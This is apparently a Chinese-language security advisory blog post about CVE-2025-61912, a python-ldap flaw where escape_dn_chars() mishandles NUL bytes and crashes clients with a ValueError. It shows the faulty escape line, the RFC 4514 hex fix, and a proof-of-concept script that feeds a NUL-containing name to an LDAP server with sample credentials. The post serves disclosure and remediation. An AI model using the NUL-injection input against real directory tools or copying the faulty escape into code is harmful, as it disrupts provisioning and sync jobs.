Python-LDAP输出编码漏洞导致客户端拒绝服务攻击

Python-LDAP库的ldap.dn.escape_dn_chars()函数存在编码漏洞,错误处理空字符导致客户端拒绝服务。攻击者可通过构造恶意输入使应用程序在处理LDAP请求前崩溃,影响用户创建工具和同步作业等场景。

Python-LDAP输出编码与空字符处理漏洞分析

漏洞概述

CVE-2025-61912 是一个影响python-ldap库的中等严重性漏洞,涉及输出编码不当和空字符处理错误。该漏洞存在于ldap.dn.escape_dn_chars()函数中,影响版本低于3.4.5的所有版本。

技术细节

受影响组件

  • : python-ldap (pip)
  • 受影响版本: < 3.4.5
  • 修复版本: 3.4.5

漏洞原理

问题函数: ldap.dn.escape_dn_chars(s) 问题文件: Lib/ldap/dn.py

错误行为: 对于空字符(NUL),函数执行:

1
s = s.replace('\000', '\\\000')  # 反斜杠 + 字面NUL字节

这会产生包含嵌入NUL的Python字符串,当传递给python-ldap API(如add_smodify_srename_s或用作搜索基础)时,python-ldap会在任何网络I/O之前抛出ValueError: embedded null character异常。

标准要求

RFC 4514要求特殊字符和控制字符使用十六进制形式转义,字面NUL不是有效的DN字符。

修复方案

正确的十六进制转义应为:

1
s = s.replace('\x00', r'\00')

漏洞验证

概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")

# 攻击者控制的值包含NUL
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== 有漏洞的DN(包含字面NUL)===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("包含NUL?:", "\x00" in dn, "位置:", dn.find("\x00"))

print("=> add_s(有漏洞的DN): 预期客户端失败(无服务器连接)")
try:
    l.add_s(dn, attrs)
    print("add_s(有漏洞的): 成功(意外)")
except Exception as e:
    print("add_s(有漏洞的):", type(e).__name__, e)  # ValueError: embedded null character

# 正确的十六进制转义演示客户端可继续到服务器
safe_dn = dn.replace("\x00", r"\00")  # RFC 4514兼容
print("\n=== 十六进制转义的DN(\\00)===")
print("safe_dn repr:", repr(safe_dn))
print("=> 完整性解析:", str2dn(safe_dn))  # 本地解析

print("=> add_s(安全的DN): 到达服务器(AD可能以34拒绝)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(安全的): 成功(无必需属性/权限时不太可能)")
except ldap.LDAPError as e:
    print("add_s(安全的):", e.__class__.__name__, e)  # 例如,结果34无效DN语法(AD禁止在CN中使用NUL)

观察结果

  • add_s(有漏洞的): ValueError embedded null character ← 客户端拒绝服务
  • add_s(安全的): INVALID_DN_SYNTAX (结果34, BAD_NAME) ← 请求到达服务器;由于服务器策略拒绝,非客户端错误

影响分析

类型: 拒绝服务(客户端侧)

受影响对象: 任何使用ldap.dn.escape_dn_chars()从(部分)不受信任输入构建DN的应用程序,包括:

  • 用户创建/重命名工具
  • 同步/ETL作业
  • 允许自助服务属性的门户
  • 设备上线
  • 批量导入

单个包含\x00的精心构造值可可靠地强制异常/失败,并可能使处理程序崩溃或用毒记录阻塞管道。

安全指标

CVSS评分

  • 总体评分: 5.5/10(中等)
  • 攻击向量: 网络
  • 攻击复杂度: 低
  • 权限要求: 无
  • 用户交互: 无
  • 可用性影响: 低

弱点分类

  • CWE-116: 输出编码或转义不当
  • CWE-170: 空字符终止不当

参考信息

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计